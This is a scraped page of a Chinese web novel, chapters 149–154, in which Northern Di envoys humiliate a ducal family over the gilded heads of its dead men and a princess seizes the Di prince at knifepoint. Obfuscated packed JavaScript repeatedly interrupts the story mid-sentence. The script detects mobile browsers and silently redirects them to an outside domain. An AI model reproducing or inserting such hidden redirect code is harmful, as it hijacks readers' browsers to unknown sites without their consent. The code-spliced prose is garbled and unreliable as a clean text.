;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649106|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家仆打扮的年轻男子正趾高气扬的站在北狄使团车前,在他身后,两个侍从捧着长长的托盘,其上放着两个硕大的漆盒。 太夫人李氏红着眼,紧紧拉住身旁史太君的手,浑身止不住发抖;史太君身躯却笔直如松,她白着脸,一双不怒自威的眸子中透出深深的恨意。 “元婴究竟去哪里了?” 李氏咬了咬唇,低声道:“沛之被陛下派了公务,眼下不在京中……” 史太君默了默,追问道:“那元吉呢?” 郭碧云忙上前一步,低声回禀道:“回祖母,夫君前些日子领了兵部的差事,今日一早便入宫谢恩去了。” 偌大的国公府,此时竟没半个男人做主! 李氏擦了擦眼泪,沉声道:“母亲,我这就亲自去请长公主……” “不准去寻她!” 史太君转头狠狠瞪了李氏一眼,低声斥道:“这是赵家之事,我不许她插手!” 史太君死死攥住儿媳的手,恨恨道:“此处吵成这个样子,那一位一贯耳聪目明,她若真想管国公府的事此时早该出来了!” “就让她待在后宅装聋作哑好了,左右我也没将她当成孙媳妇看待!” “国公府的男丁都死绝了不成?我家王子好意将老国公父子的首级送回,可赵家人却只以妇孺相迎,可见你们没将我家王子放在眼里!辉人如此无礼,既如此这首级我们便拿回去留作纪念好了!” 见那北狄人如此耀武扬威,百姓们皆议论起来—— “老国公死于敌手,北狄人不是入京结盟的吗?他们如此声势浩大的将老国公的首级送回来,不是故意挑起事端吗?” “唉,谁叫赵家没人了呢……” “不对啊,国公府明明还有两位公子在,二公子前些日子还承了爵……” “你知道什么!那位新国公不过是位纨绔,至于赵家大少爷,人已经残了……” 史太君与李氏闻言,面色愈加苍白—— 北狄人这是要在大辉百姓面前撕下国公府最后的脸面! 第一百四十九章 千钧一发 “将我祖父的首级留下!” 赵不移瞪着一双眼,气势汹汹的插着腰,大声道:“我祖父镇守边关三十余年,从未叫北狄人踏入我大辉国土一步!什么王子,不过是祖父的手下败将,也敢在国公府门前撒野?识相的赶紧将祖父他老人家的首级还给我们,如若不然、等我父亲回来,你们便知道厉害了!” 郭碧云见状一脸欣慰—— 她的儿子果真有乃父之风,不过五六岁的年纪,竟有如此胆量和胸襟。 国公府有望了! “这位便是赵家小少爷?” 北狄使团的马车中传来一道低沉又阴柔的男声。 “你祖父和太祖父的确是英雄,可最后还不是死在我们北狄手中?连自己的脑袋都保不住,你倒说说看,到底谁是手下败将?” 男子说着冷哼一声,“至于你父亲,他如今只剩一只胳膊,便是此时在场怕也只有跪地求饶的份儿!” 史太君将拐杖往地上重重一戳,朗声道:“尊使入京,本该先朝见我们陛下,你们却大张旗鼓来我国公府门前,一边说着要还我夫君和儿子的首级,一边又咄咄逼人说些污蔑之言,你们究竟想要如何?” 车中男子闻言道:“赵洵父子都是武将,我父皇和祖母敬佩他们是英雄,因此特意命本王将他二人的首级送回;可你们若真想将人头拿回去,便要拿出诚意!” “父皇为表尊敬,特意叫人以特殊药材处理了赵洵父子的人头,又在上头浇上金漆以防腐坏。父皇如此用心,你们赵家却只有几个老妇幼子出来受礼,未免太没有礼貌了!” 男子说着语带轻蔑道:“老太婆,想要人头便叫你孙子出来与本王手下的将军比试一番,若他赢了,首级自然归还。” “可若是他输了,” 说到此处车中的声音忽然变得阴冷,“北狄有用战俘的人头做酒樽的习惯,若赵家兄弟没种,本王的酒器中便又添了两樽名贵之物!” “你敢!” 李氏再忍不住,大声喝道:“京兆衙门的人何在?羽林卫何在?他们难道就眼睁睁看着这北狄蛮子在我大辉都城横行霸道!” “老身的两位孙子领了公务不在府中,尊使还要在我大辉逗留很长一段时日,若要讨教也不在这一日。老身的夫君与儿子虽已入殓,却未盖棺,尊使今日无论如何也要将他们的首级留下!” 史太君双目含泪,沉声道:“亡灵在上,还请尊使看在死者为大的份上将首级归还……” 车中的男子完全不理会史太君,又道:“我北狄男子与女子地位不分伯仲,女子亦能上阵杀敌。本王听说赵家女子从小习武,若此时赵家男儿不在府中,你们也可派几个女人出来,若能得胜,首级照旧归还!” 史太君摇了摇头,“我赵家女子习武只为强身健体,断不能如蛮夷之女子般抛头露面……” “你这老太婆说的不过是些推脱之词。” 轮车中人不屑的哼了一声,“赵洵一死,赵家人便连辉人最重视的气节都没有了!” “这样也好,本王千里迢迢将首级从北狄带了过来,断没有再拿回去的道理。” “这样吧。” “老太婆你跪下给本王磕三个响头,本王便将你丈夫的人头还给你;再将你孙女送给我做妾,我便将你儿子头也还给你,如此可还公平?!” 史太君气的直发抖。 百姓们闻言不由义愤填膺—— “北狄蛮子太欺负人了!” “快去叫京兆尹来,将这帮蛮子打死!” “就是,有本事与宁国公去战场上厮杀啊,欺负孤儿寡母算什么本事……” 史太君强自定了定神,大声道:“宁国公府绝不向北狄人低头!今日这首级你必须留下!” “来人!” 随着史太君一声令下,国公府中涌出许多府兵,将李氏等人牢牢护住。 “诸位将士们,你们跟随老身之子征战沙场,如今北狄人捧着他父子的头颅来国公府门前羞辱我儿英灵,老身命你们将他父子的首级抢回来,以慰老国公在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649107|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天之灵!” “老太君放心,我等就是拼了性命也要将老国公的人头夺回!” “兄弟们,给我杀!” 一见国公府众人都红了眼,那站在马车前仆人脸色一白,忙不迭朝轮车中道:“王爷,赵家要刺杀他国来使!” “哼,他们当本王是好欺负的!” “铁卫听令,给本王将这帮无法无天的辉人全部斩杀!” 听见吩咐,从长长的使团队伍中忽的冲出百十号侍卫,他们手执弯刀、腰悬**箭,气势汹汹的与国公府众人对峙起来。 仆人见状忙不迭跑到轮车跟前,低声道:“王爷,您离京时太后曾嘱咐过莫要轻易与辉人起冲突,若是被人拿住了把柄恐于北狄名声不利……” “咱们的十万大军就戳在边境,辉人怎么敢动本王?” 轮车中人轻轻掀开车帘,露出其后一双阴郁的眼,他牢牢盯着车外之人,漫不经心道:“父皇是叫你们来协助本王的,不是叫你们给本王当主子的。本王此番来大辉有专断之权,莫非你是想抗旨?” 大王子**不眨眼,手段又十分酷烈,偏偏太后对他极为宠爱,北狄朝中无人敢得罪于他! 劝谏之人心头一凛,只得住了口,朝后退去。 “母亲,难道您真要动手?” 李氏白着脸,紧紧拉住史太君的手,低声道:“夫君和公公的首级在北狄人手里,他二人出殡时坟墓中只有衣冠冢……我知道母亲着急,可那毕竟是北狄的使者,听那人的口气,他似是北狄的王子。咱们若真的‘’与之动手,若来日陛下降罪该如何是好?” “死者已矣,元婴和元吉还有官职在身,若陛下雷霆一怒,孩子们只怕撑不住……” 史太君提着一口气,一把甩开她的手,颤声道:“赵家几辈子人的名声不能败在咱们手里,便是将命豁出去,也不能叫北狄人得逞!” 就在千军一发之际,一队人马朝国公府门前奔来。 “虎贲将军在此,何人敢在京中持械私斗?” 第一百五十章 大王子且慢 张子寿手提大刀、身披甲胄,催马赶上前来,身后三百兵卒在他的带领下迅速将一干人等包围起来。 “末将见过老太君!宁国公出城替陛下办差,不知府府中出了什么事,老太君您可还安好?” 听见张子寿的问话史太君不由深吸口气,她伸出手狠狠戳向面前硕大的轮车,高声道:“车骑将军来的正好!这些北狄蛮子好生无耻,他们恨我赵家儿郎多年来灭了北狄的威风,竟寻得新任宁国公不在之时提着老身夫君和儿子的人头赶上门来羞辱咱们!” “这个什么北狄王子欺我赵家孤儿寡母无人照拂,便叫手下将士来闯空门——将军请看,北狄使团在车队中藏了不少兵卒,他们定然是想趁机在京中作乱,将军万不可放他们轻易离去!” “老太婆,你红口白牙的乱污蔑什么?” 北狄大王子身旁的仆从闻言忙道:“我家主子好心好意送老国公的人头归府,你们这些妇孺之辈怎么就不知感恩?” 轮车中一人冷冷道:“罢了,既达不成本王子的要求,这金漆的人头本王子还是拿来做酒樽吧!” “辉人不识抬举,我们走!” 张子寿闻言心头一松! 张子寿父亲乃是幽州太守,他的这些年没少和北狄军打交道,自是看不惯这帮狼子野心的野蛮之徒;可陛下已有明旨,南境、北境军情紧急,待两国使团入京之后百官要隐忍克制、切不可冲动行事,若因一人言行不谨而招致战事,此人便是大辉的罪人! 即便明知北狄人是来国公府前挑衅的,张子寿依旧不敢对他们出手,只是高声告诫道:“大王子既为使者,护卫仪仗自有定数,大辉准您护卫随行乃是依着国礼。护卫们的职责是保护王子和使团,若是有人胆敢伤我大辉百姓,本将军必不会善罢甘休!” “说这么多还不是要放本王子离去?” 北狄大王子隔着车帘讽刺道:“辉人说起来都是口若悬河,可真动起手来却各个都是怂包。” “将军,您怎能眼睁睁放这北狄贼子离去?!” 李氏看着北狄人手中的漆盒,犹受锥心之痛,忙朝张子寿吼道:“将军可知,那盒中是我公公和夫君的头颅?!” 她说到此处悲愤交加,不由浑身发抖。 “赵家镇守大辉边境三十余年,公公和夫君为国捐躯,却落得个身首异处的下场。如今北狄人拿着他们的头颅在我家门口耀武扬威,此举无异是在陛下脸上扇巴掌!将军身为武将便该有豪烈之气,难不成便由着这北狄贼子这般猖狂?” 百姓们亦群情激奋,纷纷喝道—— “将军大人千万别放过北狄蛮子!” “将老国公的首级还给赵家!” “杀了这帮北狄狗!” …… 张子寿皱了皱眉,到底是武将,此时亦不由义愤填膺,这便喝了一句—— “大王子且慢!” 轮车猛地一停,车中人不屑道:“你待如何?” “眼下使团已入京都,不如便将我大辉武将的项上人头归还给其家人,如此方显结盟诚意。” 车中人道:“只要他们答应本王子的条件,首级自然奉还。可赵元吉两兄弟不在府中,我从北狄千里迢迢带来的勇士便没了用武之地;赵家女人又太过骄矜,既不愿跪下给本王磕头、又不愿将送女与本王子为妾。将军该怪宁国公府没有诚意才是!” 张子寿闻言愈发不悦,胯下战马似是感应到主人的愤怒,不安的打了个响鼻。 张子寿寒声道:“大王子想与我大辉武将切磋,这事实在简单!本将军好歹也是高阶武将,不如就请王子手下的勇士与本将军比上一比,如何?” “也好!” 车中人略加思索,便道:“只要你改姓赵,再赢了我手下的勇士,本王子便将赵洵父子的首级双手奉上!” “你!” 张子寿怒气翻涌,这北狄大王子好生嚣张,竟敢如此对自己说话! 他如今人在大辉王都,再怎么任意妄为也该有所收敛才是,可他行事竟这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649108|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般有恃无恐,究竟是仪仗些什么? “大王子是怕北狄的勇士打不过本将军?” “哼,本王子手下的可是我北狄第一勇武之人,别说什么车骑将军,便是征南将军赵元吉再长出条胳膊,也不是他的对手……” 张子寿闻言冷冷道:“本将军奉劝大王子,赶紧将赵氏父子的首级还来,你的护卫当街持协对我大辉百姓动手,本将军若一声令下,大王子只怕不能毫发无损的回到四方馆……” 车中人仿佛听见了什么天大的笑话,“你想硬抢,就不怕我顺手砸碎赵家父子的脑壳?” “辉人狡诈,本王子怎会不做防备?那漆盒里布满硫磺,只要本王一声令下,那盒子便会将之付之一炬,到时赵家父子才是真正的身首异处……” “混账,你欺人太甚!” 赵盼儿再也听不下去了,她猛地抽出贴身携带的短刃,飞身朝轮车冲了过去,口中大声道:“赵家女在此,将我父亲和祖父的头颅还来!” “盼儿!” “快回来!” “住手!” …… 赵家几位女眷没想到赵盼竟会这般倔强,忙不迭出言拦阻;可赵盼眼见着死去父亲的首级就在眼前,母亲和祖母又被那北狄王子这般欺辱,早已耐不住,转瞬间便冲入了使团之中。 “好一匹泼辣的胭脂马!” 北狄大王子轻挑车帘,朝外看了一眼,阴郁的眼中浮起阵阵兴奋之色。 “赵洵在时之时,不知多少北狄儿郎葬身于他手;如今这祸害好容易**,也不知父皇怎么想的,竟非叫本王子将敌军将领的首级送还!” 他唇边浮起一抹冷笑,“若没有赵家父子,我北狄铁骑早就踏破大辉国门了……既如此,赵家也该补偿北狄才是!” 车帘垂下,轮车中传来他冷酷的命令—— “将这女子拿下,送到本王子车上来!” “呵呵,从今往后,本王子的**中便多上一位姓赵的辉人女子了!” 第一百五十一章 丞相来了 着北狄大王子一声令下,铁卫中走出一人,此人连刀都未出,几个回合便将赵盼儿手中短刃震落,随后手一翻便将她双手反剪;赵盼儿双臂剧痛,她惊慌失措的抬起头,恰好望见母亲心痛的眼神,她心头倔强忽起,忙死命咬着牙、将眼泪和痛苦一起咽下。 “盼儿!” 太夫人李氏痛呼一声,她推开身前众人朝女儿冲去,却被身旁的老太君一把拉住。 赵子芳一见妹妹被北狄人擒住,立时怒从心头起,大喝一声便冲了出去—— “北狄蛮子,还不将人放下……” “子芳,你给我站住!” 史太君一手牢牢抓住儿媳,疾声厉色的朝赵子芳道:“你不是那人对手,冲出去亦无济于事,只能为敌人再添牵制咱们的筹码!” “老祖宗,您快想法子救救盼儿!” 李氏娘儿两个眼中含泪,焦急之色溢于言表;史太君眼前也一阵阵发黑,挺拔的身姿不由摇晃起来。王嬷嬷一眼便知不好,忙不迭将人扶稳。 “老太君,您不要紧吧……” 张子寿火撞顶梁,当着他的面便敢这般欺辱国公府一众妇孺,北狄皇子是拿他这个车骑将军当摆设了吗?! 他沉下脸,大声喝道:“来人,给我拦住!” 手下兵卒哗啦啦将使团围在中间。 北狄大皇子不住冷笑,“你这辉人是想谋刺本王子吗?大辉就是这样礼遇他国使臣的?” “王子殿下得明白,此处是我大辉的都城、不是你北狄的国都,你一介外邦人竟敢私扣我大辉官眷,此举该当何罪?” “哼,是赵家这丫头拿着短刀先冲过来的,本王手下之人还以为她是个刺客,这才出手将之擒获,本王子何罪之有?” 张子寿不愿再与之斗嘴,便大声道:“请王子速速将人放了,再将首级归还,本将军这便放你离去!” 轮车内之人似是对他的威胁毫不在意,语带挑衅道:“本王子偏不放人,你待如何?” 张子寿咬牙切齿,他将手中长刀一横,厉声道:“既然如此,王子便不用回四方馆了……” “车骑将军,你的火气未免太盛了!” 又是谁?! 张子寿愤怒的抬起眼,却见前方驶来一辆马车,待看清其上振翅欲飞的仙鹤徽记,他的心便一沉—— 高相! 他怎么来了?! “丞相在此,何人敢造次?” 随着相府詹士高业沉声一喝,围观人群一片哗然。 丞相也是来护着国公府、打压北狄人的吗? “请车骑将军借一步说话!” 张子寿闻言这才朝身旁军士道:“先把兵刃收起来!” 说罢催马来至高子霖车前。 高业垂下头,轻手轻脚的打起高子霖身旁的车帘。 “车骑将军与北狄大皇子有私仇?” 张子寿闻言一脸的莫名其妙,“丞相这话是何意?” 高子霖顿了顿,又问道:“那就是将军与宁国公私交甚好?” 张子寿哼了一声,“末将长年驻守幽州,怎会与赵元婴有什么私交!” “这话不错,” 高子霖叹了一声,“不出一月将军的弟弟便要成为高家的乘龙快婿,老夫便托大叫将军一声贤侄吧!” “贤侄啊,北狄人多年来与我大辉为敌,老夫与贤侄一样对之深恶痛绝;可如今北狄使团入京打的是结盟的旗号,若贤侄在大庭广众之下对北狄使团动手,就不怕到时陛下会怪罪?” 张子寿闻言忙道:“丞相容禀,实在是北狄欺人太甚……” 高子霖不待他说完便不耐的摆了摆手,“老夫也是看在令尊的面子上这才给将军几分薄面,若是换了旁人,老夫早就叫人将之拿下了!” “你以为你今护得住赵家?老夫问你,北狄人在宁国公府门口闹了这么久,京兆衙门可有派人来问过?” 高子霖瞥了他一眼,“京都守备对此处骚乱亦是置若罔闻,唯贤侄带着手下人赶来相助,所以老夫才有刚刚一问?” “赵元婴娶的那位神厌鬼弃的长公主,可是叫令弟差点成了残废的罪魁,老夫可不信你与赵家会有什么瓜葛……” 张子寿一愣,低声道:“末将知道边关情势危急,可大辉不能在此时露出示弱之相,此举只会助长北狄人的狼子野心……” 高子霖眉间闪过一丝不耐,低喝一声:“好了!金玉良言你不听,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百五十二章 现在才知道害怕,晚了! 猛然间听见那熟悉又张狂的女声,被北狄侍卫反剪双手的赵盼儿只觉鼻子一酸,一阵**涌上心头。她再忍不住,含泪抬起头,朝商无忧悲切切的叫了声:“嫂嫂……” 见少女满眼委屈的看向自己,商无忧脸上的笑容倏然变得肃杀! 肩辇还未落地,惊鸿般的身影便如箭般飞了出去;辖制这赵盼的北狄侍卫只觉眼前一花,一阵凛冽的梅香飘然而至;一道温热袭上右臂,侍卫只觉腕间猛然一痛,他下意识手一松,红衣女子身形飞起,一脚直踢他胸前;侍卫深吸口气,身形急急向后退去! 只可惜还是慢了一步,那一脚贴着他胸膛划过,北狄侍卫昂藏的身躯如朽木般向后飞去,随后狠狠撞在华丽的轮车上—— 咚! 不寻常的震动将北狄大皇子夏云骁吓了一跳,还不等他开口询问,便听车外的仆从惊慌失措道:“檀烨,你没事吧……” 夏云骁一震。 檀烨是北狄第一勇士。为保护他出使大辉,父皇特将此人赐与他当护卫。 究竟什么人,竟能伤了檀烨?! 听声音刚刚来的是大辉长公主,难不成她身边也有高手…… 正想着,却听外头响起张狂又愤怒的女声—— “哪来的贼子,竟敢冒犯赵家小姐,你不知她是本宫的小姑?!” “哼,若不是躲得快,本宫便将你碰人的两只手都剁下来!” “卫真,把这个狗仗人势的东西剁去手脚,扔到护城河里去喂鱼!” 外头动手之人,莫不是大辉的长公主?! 夏云骁心下大惊,不由好奇的将车帘掀开一条缝,小心翼翼的朝外看去。 商无忧眼角余光瞥见那锦缎织就的明黄车帘轻轻一动,口中不由冷笑—— “我就说,一个狗奴才怎么敢明目张胆的欺辱国公府的小姐?赶成是有人在撑腰!本宫倒要看看,是谁有这么大的胆!” “你做什么?这是我家大皇子的……哎呦!” 夏云骁直觉不好,刚要起身,轮车的帘子却被人一把扯下,一个明艳动人的女子出现在他眼前——大辉长公主一双碧眼璨若星河,飞眉纤长直入鬓角,口若含丹、齿如编贝,一头乌黑亮丽青丝的披散两肩,行动间红裙素裳随风摆荡! 好一个绝世佳人! 只可惜佳人眸中透着股辛辣的张狂、再加上唇边那抹似有似无的笑意,愈发让人心生不安! “你这贼子倒沉得住气!” 商无忧头一低进了轮车,低声道:“还没人敢在本宫面前如此装腔作势!你这北狄蛮子竟敢冒犯本宫,还不赶快磕头认错?” 夏云骁冷冷一笑,“长公主是吧?!本王子听说过你的事。你原是大辉先皇后所出,曾被称为大辉神女,地位也算煊赫,连太后她老人家都在你手中吃亏!只可惜你后来疯了,辉帝虽是你的父亲却对你弃若敝履。怎么,他如今肯放你出来了?” 商无忧闻言呵呵一笑,“我若是你断不会在此时逞口舌之快!” 她抬步缓靠近一脸防备的北狄大皇子,姿态曼妙的围着他转了一圈,脸上带着无限唏嘘道:“你既知道本宫是疯的,难道就不怕本宫会随手弄死你?你外头那个侍卫的确是把好手,本宫如今伤势未愈,若他敢全力一拼,本宫还真未必是他的对手!” “啧啧,只可惜身为北狄皇位继承人的大皇子夏云骁,如今已落在了我的手中,投鼠忌器,他已失了先机,此番你已满盘皆输!” 这女子的口气中分明透着一丝杀机! 夏云骁心头一凛,忙不迭想要起身,却被那女子的玉手死死按住。 商无忧俯下身凑到他耳边,低声呢喃道:“现在才知道害怕,晚了!” 她周身气质太过危险,夏云骁喉头一滚,只觉自耳边一片战栗,僵着身子道:“你既知道我乃北狄王子,又怎敢伤我?!你难道不知北狄在大辉北境增兵十万,我若伤了、没了赵家军的大辉必败,到时生灵涂炭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649110|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你便是罪人……” 商无忧闻言咯咯笑了起来,“大皇子这话便是将自己当成有道明君了——大辉没了赵家还有孙家、张家,左右是不怕打仗的;你此番出使,一入城便来国公府门前挑衅,不就是打定主意蓄意挑起两国战事、好趁势在北狄朝中安插自己的势力吗?” 看着夏云骁面色一变,商无忧勾起嘴角,低声呢喃道:“北狄蓄意挑衅,总要有人接招,这仗才打得起来!若我没猜错,大辉朝中该有你们的内应吧?” “让我猜猜,拱火之人此时是不是就在国公府门前?” 看出夏云骁眼神中闪躲之意,商无忧得意的笑了,“看你的样子我便知道他是谁了——明里挑拨太过愚蠢,也最容易被人看穿;只有老谋深算的狐狸才会息事宁人、以退为进……” 夏云骁面色愈发阴沉,心中却不住打起鼓来—— 他曾听太后说起过,大辉长公主乃是被司命大神眷顾之人,她年纪轻轻便有通天之力,前些年北狄曾多次联络周边小国偷袭大辉,只可惜多番算计被她料中;辉帝按长公主指示调兵遣将,致使北狄损兵折将、周遭小国惨遭屠灭,大辉国力一时如日中天! 难不成这人真有神通,竟能料中他尚未实施的计划?! 会不会是身边之人背叛了他呢…… 他正想着,商无忧却猛的提起他的衣领、一把将人丢出车外。 “混账羔子,还不快去给赵家小姐赔罪,是想本宫将你的皮揭下来吗?” 夏云骁没防备,这下摔的着实不轻。 檀烨见状心头大急,他一边与卫真对招,一边朝轮车上的女子大声道:“给我下来,敢冒犯大皇子,我信不信砍了你的头……” 卫真眼神一厉,一拳击向檀烨胸前。 “不信,找死!” 卫真功夫甚好,攻势又十分凌厉,檀烨有心去救人却被他缠主、一时分身乏术,只得朝身后侍卫吼道:“愣着做什么,还不去护卫大王子!” 第一百五十三章 哪个混账羔子抓了人? “大辉将士听令,给本将军将这帮北狄蛮子拿下,万不可叫他们伤了长公主!” 随着张子寿一声令下,大辉士兵们冲上前来,拦住了奔向轮车的北狄铁卫。 “车骑将军,北狄王子不可伤……” 张子寿回过头,冷冷朝身后的高子霖道:“丞相,我大辉的镇国公主决不能受制于北狄!事关皇室威严,末将决不能任这帮北狄人在我大辉为所欲为!” “再说末将不过是北狄侍卫出手,从未说过要伤害王子殿下本人,丞相难道没听见?” 张子寿目光饱含深意的注视着面前老者,沉声道:“末将对手下人有信心,无人敢违背军令,丞相的话似是在指责末将有意戕害他国使者……” 高子霖面色不变,他看了看张子寿,这才道:“老夫也是关心则乱——咱们两家本就是姻亲,如今又要亲上加亲,老夫实不忍看贤侄代人受过。” “守土安邦乃末将之责,若陛下非要治末将的罪末将也无话可说!” 张子寿这竖子恁的不识抬举! “老夫点到为止,车骑将军自求多福吧!” 高子霖闻言沉下脸,上前一步大声道:“都给我住手!” 北狄铁卫为大王子之命是从,怎会听一个辉人指挥?! 而张子寿手下的兵卒素来只听将令——什么丞相不丞相的,他们若是不听张将军的话,将军可是会砍他们脑袋的! 高子霖连喊了几声,国公府门前乱糟糟一片! 他面色终于难看起来—— 事情的发展不该如此! 兵部、京兆衙门他早就打过招呼,今日只要拦住巡城的兵卒,赵家必会在北狄人的挑衅下失去理智,到时他会站出来,打着陛下的旗号压制国公府的行动。他算好了时辰,等赵元吉兄弟归来之时正好会看到史太君等孤儿寡母被北狄人欺辱,他就不信、出身于武将世家的两兄弟能忍得住! ——北狄大王子身边虽都是顶尖的高手,但国公府的兵卒亦是随老国公上过战场的,他必须保证北狄王子的安全! 高家侍卫会混入国公府的府兵之中,趁势将两帮人分离开,顺道在大王子身上弄些无碍性命的伤口——北狄皇帝闻讯必会出兵,到时赵家百口莫辩,长公主不仅保不住赵家门楣,还会被赵元婴拖累的失去圣心,如此他便可以高枕无忧了! 可眼下这场面着实在他意料之外! 长公主一来,情势便不再是他这个丞相控制得了的。 这可如何是好…… 丞相府詹士高业见状不住大吼:“丞相有命,还不住手……” “住手、住手,都给本王子住手!” 人群中忽的响起一道怨毒的怒吼。 北狄大皇子夏云骁犹如丧家犬般被人拖着、手脚并用的在地上爬;而他身后一袭红衣的女子脸上带着恣意又张狂的笑,手中短匕死死抵在他脖子上。 随着夏云骁狼狈不堪的动作,锋利的短匕不断在他颈上划出细小的伤口,不一会鲜红的血便将他的衣领濡湿。 夏云骁又惊又怒,他本想站起身,可那女子下垂的手紧紧薅着他的领子,她态度随意而散漫,冒着寒气的刀尖不时从他动脉划过,仿佛下一刻便会狠狠割下。夏云骁被吓出一身冷汗,偏此时他趴又不能趴、站也不能站,饶是知道此刻的狼狈已丢尽了他身为北狄王子的颜面,他亦不得不手脚并用、艰难的跟随着身后女子的脚步。 “主子让住手,你们这帮做奴才的没听见?” 商无忧狠狠扥了夏云骁一把,那一瞬、刀尖几乎划破了他的动脉。 豆大的汗珠从夏云骁头上滴落下来,他恼羞成怒,恶狠狠道:“还不住手,你们是想看着本王子死吗?!” “住手,都给我住手!” 北狄皇帝身旁的近侍见状大吼一声,铁卫们这才停下攻击。 商无忧朝赵盼扬了扬下巴,高声道:“盼儿,你过来!” 赵子芳早在妹妹脱困的一刹便将人抱进了怀中,闻言顿了顿,这才缓缓张开手。 赵盼一双眼瞪的浑圆——眼前场景早让她忘了害怕,她点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649111|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依言走上前来。 “刚刚是哪个混账羔子抓了人?” 见无人答话,商无忧便将手中刀往夏云骁颈边凑了凑,低声喝道:“本宫问你话呢!” 夏云骁又急又气又怕,忙不迭大声道:“檀烨,还不快过来?” 檀烨咬了咬牙,依言走上前来。 商无忧瞥了他一眼,漫不经心道:“此番本不**的事,可谁让你家主子下了这混账命令!本宫说过,谁动了赵家小姐本宫便要将他的手剁下来,你们说,本宫该剁谁的手?!” 夏云骁颤巍巍道:“我是北狄使者,你敢……” 商无忧闻言翻了个白眼,执刀的手微一用力,顺势在夏云骁颈上割出一道深深地伤痕,鲜血立时喷涌而出,滴滴答答的落在夏云骁的手上。 “啊!” 这一刀割的十分缓慢、却十分用力,夏云骁立时痛不欲生,忙道:“高相救我!我可是北狄使者,有道是两国交战不斩来使,大辉不能背信弃义……” 蠢货、蠢货! 看到商无忧唇边的冷笑,高子霖无奈将眼一闭—— 北狄王子实在愚蠢! 若是怕死只管向商无忧告饶便是,为何非要朝他这大辉丞相求救,这不是摆明了告诉别人,他二人有联系吗?! 可此时逃避已无济于事,他与北狄人的关系既已被长公主知晓,那他务必要保住大王子的性命才是! 思及此处,高子霖这才不慌不忙的开了口:“长公主殿下,北狄使者不能杀!事关国政,殿下不能贸然处置……” 商无忧抬起头,皱着眉道:“你是谁?什么高相,本宫没听说过!” 高子霖脸色一僵,长公主如此不给自己面子,难不成是在装傻?! 一旁的福童不慌不忙道:“殿下病了许久,当然不知道高老相爷是如何上位的——相爷原不过是侍奉陛下的侍中,只因女儿乃是大辉最为尊贵的女子,这才被皇帝晋为丞相……” 高子霖脸色愈发难看—— 这小内监是在诛心! 第一百五十四章 劳烦大王子亲自动手 大辉最尊贵的女子该是皇后! 淑妃再得皇帝宠幸也不能越过皇后,这不是暗指他高家有不臣之心吗?! “本宫当是谁,原来是高丽华的父亲,难怪这般爱多管闲事!” 商无忧哼了一声,不屑道:“丞相又如何?本宫是君、他是臣,他凭什么来管本宫?” 疯女人手中的刀离他的咽喉更近了,夏云骁见状再不敢挣扎,只不住朝高子霖道:“高相,本王子若**,我父皇断不会放过高家……” 高子霖眸色一厉! 他还真希望商无忧一刀结果了这个北狄蠢货! 